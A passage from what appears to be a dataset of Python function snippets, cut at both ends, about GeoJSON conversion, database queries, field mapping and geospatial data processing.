+ '_a'\\n poly_fc = GeoJSONUtils.make_fc(self, gdb, poly_fc_name, fields, poly_rows, \\\"POLYGON\\\", other_geotoken)\\n stats.append(poly_fc)\\n return stats\",\n \"def _add_field_feature_shape(self, field_path, field_feature_shape):\\n shapes_grp = self._h5['{}/{}'.format(SETTINGS, FIELD_FEATURE_SHAPES_STR)]\\n shapes_grp.create_dataset(field_path, data=np.array(field_feature_shape))\",\n \"def add_poly_features(data, columns, degree=2):\\n\\n if degree != 2:\\n print('Only works w/2 degrees right now...')\\n return\\n\\n for col in columns:\\n new_col = col + '_poly' + str(degree)\\n data[new_col] = np.nan\\n data[[col, new_col]] = poly(data[col], degree=degree)\\n\\n return data\",\n \"def load_geolocation_data():\\n client = MongoClient(f'mongodb://{os.getenv(\\\"USR_\\\")}:{os.getenv(\\\"PWD_\\\")}@{os.getenv(\\\"REMOTE_HOST\\\")}:{os.getenv(\\\"REMOTE_PORT\\\")}/{os.getenv(\\\"AUTH_DB\\\")}')\\n db = client[os.getenv(\\\"MAIN_DB\\\")]\\n lk_collection = db[\\\"lkdata\\\"]\\n data = pd.DataFrame(list(lk_collection.find()))\\n data = data[[\\\"fields\\\"]]\\n data = pd.concat([pd.DataFrame(data), pd.DataFrame(list(data[\\\"fields\\\"]))], axis=1).drop(\\\"fields\\\", 1)\\n data[\\\"cca_2\\\"] = pd.to_numeric(data[\\\"cca_2\\\"])\\n return data\",\n \"def to_geojson_feature(self, proj, output_grids=False):\\n json_features = []\\n for t, time in enumerate(self.times):\\n feature = {\\\"type\\\": \\\"Feature\\\",\\n \\\"geometry\\\": {\\\"type\\\": \\\"Polygon\\\"},\\n \\\"properties\\\": {}}\\n boundary_coords = self.boundary_contour(time)\\n lonlat = np.vstack(proj(boundary_coords[0], boundary_coords[1], inverse=True))\\n lonlat_list = lonlat.T.tolist()\\n feature[\\\"geometry\\\"][\\\"coordinates\\\"] = [lonlat_list]\\n if output_grids:\\n for attr in [\\\"timesteps\\\", \\\"masks\\\", \\\"x\\\", \\\"y\\\", \\\"i\\\", \\\"j\\\"]:\\n feature[\\\"properties\\\"][attr] = getattr(self, attr)[t].tolist()\\n lon_grid, lat_grid = proj(self.x[t], self.y[t], inverse=True)\\n feature[\\\"properties\\\"][\\\"lon\\\"] = lon_grid.tolist()\\n feature[\\\"properties\\\"][\\\"lat\\\"] = lat_grid.tolist()\\n if type(time) in [int, np.int32, np.int64]:\\n feature[\\\"properties\\\"][\\\"valid_time\\\"] = int(time)\\n else:\\n feature[\\\"properties\\\"][\\\"valid_time\\\"] = str(time)\\n feature[\\\"properties\\\"][\\\"centroid_lon\\\"], \\\\\\n feature[\\\"properties\\\"][\\\"centroid_lat\\\"] = proj(*self.center_of_mass(time), inverse=True)\\n json_features.append(feature)\\n return json_features\",\n \"def save_data_json(self, location, data_map, *, key=None, fields=None, key_join='name_en'):\\n location = self.get_data_path(location)\\n result = data_map.extract(key=key, fields=fields, key_join=key_join)\\n with open(location, 'w', encoding='utf-8') as f:\\n json.dump(result, f, indent=4, ensure_ascii=False)\",\n \"def GetSqlData2(select,bycolumn=True):\\n #connect to database and execute sql and retrieve data\\n conn,cur = ConnectDb()\\n cur.execute(select)\\n fields = [d.name for d in cur.description]\\n\\n data = cur.fetchall()\\n if len(data)==0:return None\\n\\n #print N.c_[fields,data[0]]\\n\\n if bycolumn:\\n data = zip(*data)\\n #print fields, len(data),len(data[0]),data[0][0] \\n dic = {}\\n while fields:\\n field = fields.pop(0)\\n \\n #IF DATA IS GEOM OR GEOG\\n if re.search('geog|geom',field,re.IGNORECASE):\\n #print field, len(data),len(data[0]),data[0][0]\\n geoms = data.pop(0)\\n dic[field] = [ppygis.Geometry.read_ewkb(poly) for poly in geoms]\\n if hasattr(dic[field][0], 'polygons'):\\n #print dir()\\n outerring = dic[field][0].polygons[0].rings.pop(0)\\n dic['outer'] = [[point.x,point.y] for point in outerring.points]\\n dic['inner'] = [[[point.x,point.y] for point in ring.points] for ring in dic[field][0].polygons[0].rings]\\n #dic[field][0].polygons[0].rings[0].points]\\n elif hasattr(dic[field][0], 'x'):\\n dic['x'] = [item.x for item in dic[field]]\\n dic['y'] = [item.y for item in dic[field]]\\n else:dic[field] = N.array(data.pop(0))\\n \\n return dic\\n else:\\n lst = [] \\n while data:\\n dic = {}\\n row = data.pop(0)\\n \\n for i,field in enumerate(fields):\\n \\n #IF DATA IS GEOM OR GEOG\\n if re.search('geog|geom',field,re.IGNORECASE):\\n #print 'here'\\n dic[field] = ppygis.Geometry.read_ewkb(row[i])\\n #if hasattr(dic[field], 'polygons'):\\n outerring = dic[field].polygons[0].rings.pop(0)\\n dic['outer'] = [[point.x,point.y] for point in outerring.points]\\n dic['inner'] = [[[point.x,point.y] for point in ring.points] for ring in dic[field].polygons[0].rings]\\n #elif hasattr(dic[field], 'x'):\\n # dic['x'] = [item.x for item in dic[field]]\\n # dic['y'] = [item.y for item in dic[field]]\\n\\n elif type(row[i]) == list or type(row[i]) == tuple:\\n dic[field] = N.array(row[i])\\n else:\\n dic[field] = row[i]\\n lst.append(dic)\\n return lst\",\n \"def addTimeAndDateObs(layer):\\n #Create field for storing time of observation\\n newColumn (layer,\\\"Ob_Time\\\", QVariant.String)\\n #Create field for storing date of observation\\n newColumn (layer,\\\"Ob_Date\\\", QVariant.String)\\n # Empty objects for storing the updates\\n updates_time = {}\\n updates_date = {}\\n indexT=layer.fields().indexFromName('Ob_Time')\\n indexD=layer.fields().indexFromName('Ob_Date')\\n print(\\\"STARTING LOOP!\\\")\\n for feat in layer.getFeatures():\\n # Get the date time value from the gpx\\n date_time = feat['timestamp']\\n date_time_obj = datetime.datetime.strptime(date_time,'%Y-%m-%d %H:%M:%S')\\n time = date_time_obj.strftime(\\\"%H:%M:%S\\\")\\n date = date_time_obj.strftime(\\\"%Y-%m-%d\\\")\\n # Update the empty fields in the shapefile\\n updates_time[feat.id()] = {indexT:time}\\n updates_date[feat.id()] = {indexD:date}\\n #print(updates)\\n\\n # Use the created dictionary to update the field for all features\\n layer.dataProvider().changeAttributeValues(updates_time)\\n layer.dataProvider().changeAttributeValues(updates_date)\\n # Update to propagate the changes\\n layer.updateFields()\\n print(\\\"Time and date fields populated.\\\")\",\n \"def geocode(df, col):\\r\\n pass\",\n \"def map_new_kreise(self, merged, csv_map_file):\\n kreis_jsonkreis_map = pd.read_csv(csv_map_file, names= ['List_Kreise', 'Geojson_Kreise'])\\n merged['Kreis'].map(kreis_jsonkreis_map)\\n\\n #TODO manually add corrected city names, make sure map goes through correctly\\n return merged\\n\\n\\n\\n\\n\\n #TODO change the name on krb_df's kreise\\n #TODO merge krb_df and ort_kreis_df inner join on kreis, check that it all goes through\",\n \"def mapdata():\\n return getmapdata(db, MyTable)\",\n \"def add_Longhurst_Province_raster_to_array(ds):\\n import geopandas\\n from rasterio import features\\n from affine import Affine\\n # Get the shape files\\n provinces = geopandas.read_file('/work/home/ts551/data/longhurst_v4_2010')\\n shapes = [(shape, n) for n, shape in enumerate(provinces.geometry)]\\n # Now add the existing array\\n ds_tmp = ds[list(ds.data_vars)[0]].copy().mean(dim='time')\\n # Add raster the provinces onto this\\n ds_tmp['LonghurstProvince'] = rasterize(shapes, ds_tmp.coords)\\n # Then update the variable\\n ds['LonghurstProvince'] = ds_tmp['LonghurstProvince']\\n # Add Some attributes\\n attrs = {\\n 'Long name': 'Longhurst Provinces',\\n 'data downloaded from': 'http://www.marineregions.org/downloads.php#longhurst',\\n 'version': 'Version 4 - March 2010',\\n 'Citations': \\\"Longhurst, A.R et al. (1995). An estimate of global primary production in the ocean from satellite radiometer data. J. Plankton Res. 17, 1245-1271 ; Longhurst, A.R. (1995). Seasonal cycles of pelagic production and consumption. Prog. Oceanogr. 36, 77-167 ; Longhurst, A.R. (1998). Ecological Geography of the Sea. Academic Press, San Diego. 397p. (IMIS) ; Longhurst, A.R. (2006). Ecological Geography of the Sea. 2nd Edition. Academic Press, San Diego, 560p.\\\",\\n }\\n ds['LonghurstProvince'].attrs = attrs\\n return ds\",\n \"def to_geojson(self, filename, proj, metadata=None):\\n if metadata is None:\\n metadata = {}\\n json_obj = {\\\"type\\\": \\\"FeatureCollection\\\", \\\"features\\\": [], \\\"properties\\\": {}}\\n json_obj['properties']['times'] = self.times.tolist()\\n json_obj['properties']['dx'] = self.dx\\n json_obj['properties']['step'] = self.step\\n json_obj['properties']['u'] = self.u.tolist()\\n json_obj['properties']['v'] = self.v.tolist()\\n for k, v in metadata.items():\\n json_obj['properties'][k] = v\\n for t, time in enumerate(self.times):\\n feature = {\\\"type\\\": \\\"Feature\\\",\\n \\\"geometry\\\": {\\\"type\\\": \\\"Polygon\\\"},\\n \\\"properties\\\": {}}\\n boundary_coords = self.boundary_polygon(time)\\n lonlat = np.vstack(proj(boundary_coords[0], boundary_coords[1], inverse=True))\\n lonlat_list = lonlat.T.tolist()\\n if len(lonlat_list) > 0:\\n lonlat_list.append(lonlat_list[0])\\n feature[\\\"geometry\\\"][\\\"coordinates\\\"] = [lonlat_list]\\n for attr in [\\\"timesteps\\\", \\\"masks\\\", \\\"x\\\", \\\"y\\\", \\\"i\\\", \\\"j\\\"]:\\n feature[\\\"properties\\\"][attr] = getattr(self, attr)[t].tolist()\\n feature[\\\"properties\\\"][\\\"attributes\\\"] = {}\\n for attr_name, steps in self.attributes.items():\\n feature[\\\"properties\\\"][\\\"attributes\\\"][attr_name] = steps[t].tolist()\\n json_obj['features'].append(feature)\\n file_obj = open(filename, \\\"w\\\")\\n json.dump(json_obj, file_obj, indent=1, sort_keys=True)\\n file_obj.close()\\n return\",\n \"def add_data(self, file_name: str, fabricated_count: dict) -> None:\\n\\n assert file_name not in self._meta_data_dict, \\\"Error, filename has already been used.\\\"\\n\\n self._meta_data_dict[file_name] = fabricated_count\",\n \"def get_geojson():\\n\\n # check the file was already downloaded\\n global GEOJSON\\n if GEOJSON: return GEOJSON\\n\\n conn = None\\n cur = None\\n try:\\n\\n conn = utils.pgconnect(**settings.DEFAULT_CONNECTION)\\n cur = conn.cursor()\\n cur.execute( \\\"\\\"\\\"SELECT row_to_json(fc) FROM \\n ( SELECT 'FeatureCollection' As type, array_to_json(array_agg(f)) As features\\n FROM (SELECT 'Feature' As type , ST_AsGeoJSON(lg.geom)::json As geometry, row_to_json(lp) As properties\\n FROM exercise.states As lg INNER JOIN (SELECT gid,name FROM exercise.states) As lp\\n ON lg.gid = lp.gid ) As f) As fc;\\\"\\\"\\\", (AsIs(settings.STATES_TABLE_NAME)))\\n result = cur.fetchone()[0]\\n\\n #print(result)\\n\\n #make the result global\\n GEOJSON = result\\n return GEOJSON\\n\\n except Exception as e:\\n raise Exception(e)\\n\\n finally:\\n if conn: conn = None\\n if cur: cur = None\",\n \"def extract_mapping(self) -> DatasetMapping:\\n # store fields\\n fields = []\\n for col in self.data.columns:\\n #get field label\\n label = col\\n #get field type using PANDAS_TYPE (see apps.utils.utils)\\n col_type = self.data[col].dtype\\n field_type = PANDAS_TYPE[col_type]\\n #set field\\n field = FieldMapping(label=label, type=field_type)\\n fields.append(field)\\n self.mapping.append(label)\\n return DatasetMapping(fields=fields)\",\n \"def get_allpoints_geojson():\\n\\n # check the file was already downloaded\\n global GEOJSON\\n if GEOJSON: return GEOJSON\\n\\n conn = None\\n cur = None\\n try:\\n\\n conn = utils.pgconnect(**settings.DEFAULT_CONNECTION)\\n cur = conn.cursor()\\n cur.execute( \\\"\\\"\\\"SELECT row_to_json(fc) FROM \\n ( SELECT 'FeatureCollection' As type, array_to_json(array_agg(f)) As features\\n FROM (SELECT 'Feature' As type , ST_AsGeoJSON(lg.geom)::json As geometry, row_to_json(lp) As properties\\n FROM %s As lg INNER JOIN (SELECT id,label,size FROM %s) As lp\\n ON lg.id = lp.id ) As f) As fc;\\\"\\\"\\\", (AsIs(settings.BOOKMARKS_TABLE_NAME),AsIs(settings.BOOKMARKS_TABLE_NAME)))\\n result = cur.fetchone()[0]\\n\\n #print(result)\\n\\n #make the result global\\n GEOJSON = result\\n return GEOJSON\\n\\n except Exception as e:\\n raise Exception(e)\\n\\n finally:\\n if conn: conn = None\\n if cur: cur = None\",\n \"def create(self, row):\\n if not 'header_row' in self.__dict__:\\n raise InvalidRecordProperty('Record is missing \\\"header_row\\\" property')\\n if self.header_row == None:\\n raise InvalidRecordProperty('Record \\\"header_row\\\" property is None')\\n\\n header_len = len(self.header_row)\\n field_len = len(row)\\n if header_len != field_len:\\n raise InvalidRecordLength('Record length does not equal header_row')\\n\\n # default coordinates are null\\n coordinates = [None, None]\\n\\n position= 0\\n for field in row:\\n header = self.map_header(self.header_row[position])\\n #logging.debug('self.header_row[position]: %r', self.header_row[position])\\n #logging.debug('header: %r', header)\\n position += 1\\n\\n # we ignore none header\\n if header == None:\\n continue\\n\\n # we ignore empty header\\n if Record.is_empty_str(header):\\n continue\\n\\n # special case for unique id\\n if header.lower() == 'code':\\n if not Record.is_empty_str(field):\\n self.id = field;\\n continue\\n\\n # special cases to convert to geoJSON\\n # Always list coordinates in longitude, latitude order.\\n if header.lower() == 'longitude':\\n if Record.could_be_float(field):\\n coordinates[0] = float(field)\\n continue\\n if header.lower() == 'latitude':\\n if Record.could_be_float(field):\\n coordinates[1] = float(field)\\n continue\\n\\n # all other cases set data-type based on schema\\n self.set_field_by_schema(header, field)\\n\\n #we cannot have invalid geoJSON objects in mongoDB\\n if AirportRecord.is_valid_coordinate_pair(coordinates):\\n loc = {\\n 'type': 'Point',\\n 'coordinates': coordinates\\n }\\n else:\\n loc = None\\n\\n #add the geoJSON 'loc'\\n self.fields['loc'] = loc\",\n \"def test_to_geojson(self):\\n fc = self.read_feature()\\n dest_filename = str(self.datadir.join('test.geojson'))\\n fc.to_geojson(dest_filename)\\n fc_check = read_feature_collection(dest_filename)\\n self.check_feature(fc_check.features[0])\",\n \"def create(self, new_feature):\\n\\n all_data = self._load()\\n\\n if self.id_field not in new_feature and\\\\\\n self.id_field not in new_feature['properties']:\\n new_feature['properties'][self.id_field] = str(uuid.uuid4())\\n\\n all_data['features'].append(new_feature)\\n\\n with open(self.data, 'w') as dst:\\n dst.write(json.dumps(all_data))\",\n \"def insert_data(table, jsonfile):\\n with open(jsonfile) as infile:\\n data = json.load(infile)\\n table_models_map[table]['insert'](data)\",\n \"def add_geomean_to_product_data(product, prop_name, geomean_val):\\n\\tfor prop_data_list in product['data']:\\n\\t\\tif prop_data_list[0] == prop_name:\\n\\t\\t\\t# prop_data_list.append(geomean_val)\\n\\t\\t\\tprop_data_list.insert(len(prop_data_list)-1, roundData(prop_name, geomean_val)) # inserts geomean before Measured column\\n\\treturn product\",\n \"def _extend_run_record_data_field(self, run_idx, run_record_key,\\n field_name, field_data):\\n\\n records_grp = self.h5['{}/{}/{}'.format(RUNS, run_idx, run_record_key)]\\n field = records_grp[field_name]\\n\\n # make sure this is a feature vector\\n assert len(field_data.shape) > 1, \\\\\\n \\\"field_data must be a feature vector with the same number of dimensions as the number\\\"\\n\\n # of datase new frames\\n n_new_frames = field_data.shape[0]\\n\\n # check whether it is a variable length record, by getting the\\n # record dataset dtype and using the checker to see if it is\\n # the vlen special type in h5py\\n if h5py.check_dtype(vlen=field.dtype) is not None:\\n\\n # if it is we have to treat it differently, since it\\n # cannot be multidimensional\\n\\n # if the dataset has no data in it we need to reshape it\\n if all([i == 0 for i in field.shape]):\\n # initialize this array\\n # if it is empty resize it to make an array the size of\\n # the new field_data with the maxshape for the feature\\n # dimensions\\n field.resize( (n_new_frames,) )\\n\\n # set the new data to this\\n for i, row in enumerate(field_data):\\n field[i] = row\\n\\n # otherwise just add the data\\n else:\\n\\n # resize the array but it is only of rank because\\n # of variable length data\\n field.resize( (field.shape[0] + n_new_frames, ) )\\n\\n # add each row to the newly made space\\n for i, row in enumerate(field_data):\\n field[(field.shape[0] - 1) + i] = row\\n\\n # if it is not variable length we don't have to treat it\\n # differently\\n else:\\n\\n # if this is empty we need to reshape the dataset to accomodate data\\n if all([i == 0 for i in field.shape]):\\n\\n # check the feature shape against the maxshape which gives\\n # the feature dimensions for an empty dataset\\n assert field_data.shape[1:] == field.maxshape[1:], \\\\\\n \\\"field feature dimensions must be the same, i.e. all but the first dimension\\\"\\n\\n # if it is empty resize it to make an array the size of\\n # the new field_data with the maxshape for the feature\\n # dimensions\\n feature_dims = field.maxshape[1:]\\n field.resize( (n_new_frames, *feature_dims) )\\n\\n # set the new data to this\\n field[0:, ...] = field_data\\n\\n # otherwise just add the data\\n else:\\n # append to the dataset on the first dimension, keeping the\\n # others the same, these must be feature vectors and therefore\\n # must exist\\n field.resize( (field.shape[0] + n_new_frames, *field.shape[1:]) )\\n # add the new data\\n field[-n_new_frames:, ...] = field_data\",\n \"def read(self, file_info, **kwargs):\\n\\n # We need to import at least the standard fields\\n user_fields = kwargs.pop(\\\"fields\\\", {})\\n fields = self.standard_fields | set(user_fields)\\n\\n # We catch the user mapping here, since we do not want to deal with\\n # user-defined names in the further processing. Instead, we use our own\\n # mapping\\n user_mapping = kwargs.pop(\\\"mapping\\\", None)\\n\\n # Load the dataset from the file:\\n dataset = super().read(\\n file_info, fields=fields, mapping=self.mapping, **kwargs\\n )\\n\\n dataset[\\\"time\\\"] = self._get_time_field(dataset, file_info)\\n\\n # Remove fields that we do not need any longer (expect the user asked\\n # for them explicitly)\\n dataset = dataset.drop_vars(\\n {\\\"UTC_start\\\", \\\"Profile_time\\\"} - set(user_fields),\\n )\\n\\n if user_mapping is not None:\\n dataset = dataset.rename(user_mapping)\\n\\n return dataset\",\n \"def df_to_json(complete_dataset, output_path, static_columns):\\n megajson = {}\\n\\n static_columns = [\\\"continent\\\", \\\"location\\\"] + list(static_columns)\\n\\n complete_dataset = complete_dataset.dropna(axis=\\\"rows\\\", subset=[\\\"iso_code\\\"])\\n\\n for _, row in complete_dataset.iterrows():\\n\\n row_iso = row[\\\"iso_code\\\"]\\n row_dict_static = row.drop(\\\"iso_code\\\")[static_columns].dropna().to_dict()\\n row_dict_dynamic = row.drop(\\\"iso_code\\\").drop(static_columns).dropna().to_dict()\\n\\n if row_iso not in megajson:\\n megajson[row_iso] = row_dict_static\\n megajson[row_iso][\\\"data\\\"] = [row_dict_dynamic]\\n else:\\n megajson[row_iso][\\\"data\\\"].append(row_dict_dynamic)\\n\\n with open(output_path, \\\"w\\\") as file:\\n file.write(json.dumps(megajson, indent=4))\",\n \"def __h5_geo_data(self, geo_dsets):\\n res = {}\\n if geo_dsets is None:\\n geo_dsets = 'latitude,longitude'\\n\\n for key in geo_dsets.split(','):\\n for grp_name in ['/PRODUCT', '/PRODUCT/SUPPORT_DATA/GEOLOCATIONS']:\\n if key in self.fid[grp_name]:\\n res[key] = np.squeeze(\\n self.fid['{}/{}'.format(grp_name, key)])\\n continue\\n\\n return res\",\n \"def add_to_col(self, col: int, data_dict: dict):\\n for key, val in data_dict.items():\\n self.data.at[key, col] = val\",\n \"def get_geojson(self):\\r\\n self.get_recordrange()\\r\\n [\\r\\n self.geojson.setter(n, self.get_data(\\\"geojson\\\", x))\\r\\n for n, x in enumerate(tqdm(self.iterlist))\\r\\n ]\",\n \"def add_column(self, data, name=\\\"\\\"):\\n # Check type for pandas dataframe or SArray?\\n if not isinstance(data, SArray):\\n raise TypeError(\\\"Must give column as SArray\\\")\\n if not isinstance(name, str):\\n raise TypeError(\\\"Invalid column name: must be str\\\")\\n\\n self.__is_dirty__ = True\\n with cython_context():\\n if self._is_vertex_frame():\\n graph_proxy = self.__graph__.__proxy__.add_vertex_field(data.__proxy__, name)\\n self.__graph__.__proxy__ = graph_proxy\\n elif self._is_edge_frame():\\n graph_proxy = self.__graph__.__proxy__.add_edge_field(data.__proxy__, name)\\n self.__graph__.__proxy__ = graph_proxy\",\n \"def register_area_polygon(self, area_description: str, geojson_polygon: str) -> None:\\n\\n ## first step, try to read colrow set if possible\\n if os.path.isfile('area_collection.json'):\\n with open('area_collection.json') as f:\\n area_collection = json.load(f)\\n else:\\n area_collection = []\\n\\n ## second step, add all possible colrow in colrow_collection\\n area_collection += [{\\n 'area_description': area_description,\\n 'polygon': self.read_geojson_polygon(geojson_polygon)\\n }]\\n\\n ## third step, save the route_set.json\\n with open('area_collection.json', 'w') as f:\\n json.dump(area_collection, f)\",\n \"def test_add_geo_distance_with_field_name():\\n # When add a Geo Distance field with a field name\\n t = GeoDistance({\\\"lat\\\": 1.0, \\\"lon\\\": 2.0}, \\\"20mi\\\", field_name=\\\"locations.location\\\")\\n\\n # Then I see the appropriate JSON\\n results = {\\n \\\"geo_distance\\\": {\\n \\\"distance\\\": \\\"20mi\\\",\\n \\\"locations.location\\\": {\\n \\\"lat\\\": 1.0,\\n \\\"lon\\\": 2.0\\n }\\n }\\n }\\n\\n homogeneous(t, results)\",\n \"def write_json(self, filename):\\n data = {\\n \\\"fleets\\\": json.loads(self.manager_df.to_json(orient=\\\"records\\\")),\\n \\\"transports\\\": json.loads(self.transport_df.to_json(orient=\\\"records\\\")),\\n \\\"customers\\\": json.loads(self.customer_df.to_json(orient=\\\"records\\\")),\\n \\\"stations\\\": json.loads(self.station_df.to_json(orient=\\\"records\\\")),\\n \\\"simulation\\\": json.loads(self.df_avg.to_json(orient=\\\"records\\\"))\\n }\\n\\n with open(filename, 'w') as f:\\n f.seek(0)\\n json.dump(data, f, indent=4)\",\n \"def test_pos_operate_incr_with_geospatial_new_record(self):\\n key = (\\\"test\\\", \\\"demo\\\", \\\"geospatial_key\\\")\\n\\n llist = [\\n {\\n \\\"op\\\": aerospike.OPERATOR_INCR,\\n \\\"bin\\\": \\\"geospatial\\\",\\n \\\"val\\\": aerospike.GeoJSON({\\\"type\\\": \\\"Point\\\", \\\"coordinates\\\": [42.34, 58.62]}),\\n },\\n {\\\"op\\\": aerospike.OPERATOR_READ, \\\"bin\\\": \\\"geospatial\\\"},\\n ]\\n\\n (key, _, bins) = TestOperate.client_no_typechecks.operate(key, llist)\\n\\n assert bins[\\\"geospatial\\\"].unwrap() == {\\\"coordinates\\\": [42.34, 58.62], \\\"type\\\": \\\"Point\\\"}\\n TestOperate.client_no_typechecks.remove(key)\",\n \"def add_field(self, field):\\n self.covs_ds[\\\"num_times\\\"] += 1\\n self.covs_ds[\\\"sum\\\"] += field\\n self.covs_ds[\\\"sumsq\\\"] += np.ma.multiply(field, field)\\n\\n if 'dstn' in self.covs_ds.dims:\\n errorCovs = ForecastErrorCovs(wrap=self.wrap)\\n distances = range(self.covs_ds.dims['dstn'])\\n self.covs_ds[self.nam_sumsq_var].load()\\n if not self.vert:\\n self.covs_ds[self.nam_sumsq_var][:] += errorCovs.calc_xy_sq(self.covs_shape,\\n distances, field.values)\\n else:\\n self.covs_ds[self.nam_sumsq_var][:] += errorCovs.calc_xyz_sq_vert(self.covs_shape,\\n distances, field.values)\",\n \"def writeIndex(map_data, field_name, maximize=True):\\n ids = map_data['id']\\n values = map_data[field_name]\\n\\n nominal_weight = 1.0 if maximize else -1.0\\n index = values / (nominal_weight * values.max())\\n\\n toJson(field_name, pd.DataFrame({'id': ids, 'counts': index}))\",\n \"def createFieldMapping(sgidPoints):\\n # Create field mappings\\n sgidFMs = arcpy.FieldMappings()\\n\\n # Perform some field renaming\\n mapPairs = [\\n ('State', 'State'),\\n ('City', 'Inc_Muni'),\\n ('CountyID', 'County'),\\n ('ZipCode', 'Zip_Code'),\\n ('PrefixDir', 'StN_PreDir'),\\n ('StreetName', 'StreetName'),\\n ('StreetType', 'StN_PosTyp'),\\n ('SuffixDir', 'StN_PosDir'),\\n ('AddNum', 'Add_Number'),\\n ('LandmarkName', 'landmkName'),\\n ('Building', 'Building'),\\n ('UnitType', 'Unit'),\\n ('AddSource', 'AddAuth'),\\n ('AddSystem', 'UniqWithin'),\\n ('LoadDate', 'LastUpdate')]\\n\\n for p in mapPairs:\\n print p\\n sgidFMs.addFieldMap(getRenameFieldMap(sgidPoints, p[0], p[1]))\\n\\n return sgidFMs\",\n \"def render_single(self, data):\\n try:\\n data['type'] = \\\"Feature\\\"\\n data['geometry'] = json.loads(data.get('location').pop('geometry'))\\n return data\\n except:\\n return data\",\n \"def add_reference_terrain(self, terrain_info):\\n for p in terrain_info['features']:\\n if (p['geometry']['type'] == 'Polygon'):\\n # creating a new polygon\\n new_poly = Polygon(p['geometry']['coordinates'])\\n self.terrain_poly.append(new_poly)\\n self.terrain_z0.append(p['properties']['z0'])\\n self.terrain_num += 1\",\n \"def merge_location_features_in_one(coords):\\n\\tgeojson_dict = []\\n\\tfor element in coords:\\n\\t\\tgeojson_loc = frappe.parse_json(element[\\\"location\\\"])\\n\\t\\tif not geojson_loc:\\n\\t\\t\\tcontinue\\n\\t\\tfor coord in geojson_loc[\\\"features\\\"]:\\n\\t\\t\\tcoord[\\\"properties\\\"][\\\"name\\\"] = element[\\\"name\\\"]\\n\\t\\t\\tgeojson_dict.append(coord.copy())\\n\\n\\treturn geojson_dict\",\n \"def export_geojson(self):\\n outputfile = tkinter.filedialog.asksaveasfilename(\\n defaultextension=\\\".geojson\\\",\\n filetypes=((\\\"geo json\\\", \\\"*.geojson\\\"),\\n (\\\"All Files\\\", \\\"*.*\\\")))\\n if outputfile:\\n self.tabs.window.aistracker.create_geojson_map(outputfile)\\n else:\\n raise ExportAborted('Export cancelled by user.')\",\n \"def read_geojson(filename):\\n json_file = open(filename)\\n data = json.load(json_file)\\n json_file.close()\\n times = data[\\\"properties\\\"][\\\"times\\\"]\\n main_data = dict(timesteps=[], masks=[], x=[], y=[], i=[], j=[])\\n attribute_data = dict()\\n for feature in data[\\\"features\\\"]:\\n for main_name in main_data.keys():\\n main_data[main_name].append(np.array(feature[\\\"properties\\\"][main_name]))\\n for k, v in feature[\\\"properties\\\"][\\\"attributes\\\"].items():\\n if k not in attribute_data.keys():\\n attribute_data[k] = [np.array(v)]\\n else:\\n attribute_data[k].append(np.array(v))\\n kwargs = {}\\n for kw in [\\\"dx\\\", \\\"step\\\", \\\"u\\\", \\\"v\\\"]:\\n if kw in data[\\\"properties\\\"].keys():\\n kwargs[kw] = data[\\\"properties\\\"][kw]\\n sto = STObject(main_data[\\\"timesteps\\\"], main_data[\\\"masks\\\"], main_data[\\\"x\\\"], main_data[\\\"y\\\"],\\n main_data[\\\"i\\\"], main_data[\\\"j\\\"], times[0], times[-1], **kwargs)\\n for k, v in attribute_data.items():\\n sto.attributes[k] = v\\n return sto\",\n \"def annotate_one(f_json):\\n logger.info(f_json + '--->')\\n \\n filename = os.path.basename(f_json).split('.')[0] \\n \\n f_out = os.path.join(cfg.OUTPUT_PATH, filename + cfg.OUTPUT_SUFFIX) \\n \\n if not cfg.OUTPUT_OVERWRITE_EXISTING:\\n if os.path.exists(f_out):\\n logger.info(f_out + ' already exists')\\n return f_out\\n \\n f_out = annotate_with_geonames(f_json, f_out)\\n logger.info(f_out)\\n \\n return f_out\",\n \"def add_geospatial_pdf_header(self, m, filename, epsg=None, wkt=None):\\n if HAS_PYPDF and (epsg or wkt):\\n infile = file(filename, 'rb')\\n (outfd, outfilename) = tempfile.mkstemp(\\n dir=os.path.dirname(filename))\\n outfile = os.fdopen(outfd, 'wb')\\n\\n i = pyPdf.PdfFileReader(infile)\\n o = pyPdf.PdfFileWriter()\\n\\n # preserve OCProperties at document root if we have one\\n if pyPdf.generic.NameObject('/OCProperties') in i.trailer['/Root']:\\n o._root.getObject()[pyPdf.generic.NameObject('/OCProperties')] = i.trailer[\\n '/Root'].getObject()[pyPdf.generic.NameObject('/OCProperties')]\\n\\n for p in i.pages:\\n gcs = pyPdf.generic.DictionaryObject()\\n gcs[pyPdf.generic.NameObject(\\n '/Type')] = pyPdf.generic.NameObject('/PROJCS')\\n if epsg:\\n gcs[pyPdf.generic.NameObject(\\n '/EPSG')] = pyPdf.generic.NumberObject(int(epsg))\\n if wkt:\\n gcs[pyPdf.generic.NameObject(\\n '/WKT')] = pyPdf.generic.TextStringObject(wkt)\\n\\n measure = pyPdf.generic.DictionaryObject()\\n measure[pyPdf.generic.NameObject(\\n '/Type')] = pyPdf.generic.NameObject('/Measure')\\n measure[pyPdf.generic.NameObject(\\n '/Subtype')] = pyPdf.generic.NameObject('/GEO')\\n measure[pyPdf.generic.NameObject('/GCS')] = gcs\\n bounds = pyPdf.generic.ArrayObject()\\n for x in (0.0, 0.0, 0.0, 1.0, 1.0, 1.0, 1.0, 0.0):\\n bounds.append(pyPdf.generic.FloatObject(str(x)))\\n measure[pyPdf.generic.NameObject('/Bounds')] = bounds\\n measure[pyPdf.generic.NameObject('/LPTS')] = bounds\\n gpts = pyPdf.generic.ArrayObject()\\n\\n proj = Projection(m.srs)\\n env = m.envelope()\\n for x in ((env.minx, env.miny), (env.minx, env.maxy),\\n (env.maxx, env.maxy), (env.maxx, env.miny)):\\n latlon_corner = proj.inverse(Coord(*x))\\n # these are in lat,lon order according to the standard\\n gpts.append(pyPdf.generic.FloatObject(\\n str(latlon_corner.y)))\\n gpts.append(pyPdf.generic.FloatObject(\\n str(latlon_corner.x)))\\n measure[pyPdf.generic.NameObject('/GPTS')] = gpts\\n\\n vp = pyPdf.generic.DictionaryObject()\\n vp[pyPdf.generic.NameObject(\\n '/Type')] = pyPdf.generic.NameObject('/Viewport')\\n bbox = pyPdf.generic.ArrayObject()\\n\\n for x in self.map_box:\\n bbox.append(pyPdf.generic.FloatObject(str(x)))\\n vp[pyPdf.generic.NameObject('/BBox')] = bbox\\n vp[pyPdf.generic.NameObject('/Measure')] = measure\\n\\n vpa = pyPdf.generic.ArrayObject()\\n vpa.append(vp)\\n p[pyPdf.generic.NameObject('/VP')] = vpa\\n o.addPage(p)\\n\\n o.write(outfile)\\n infile = None\\n outfile.close()\\n os.rename(outfilename, filename)\",\n \"def to_geojson(self, filename, 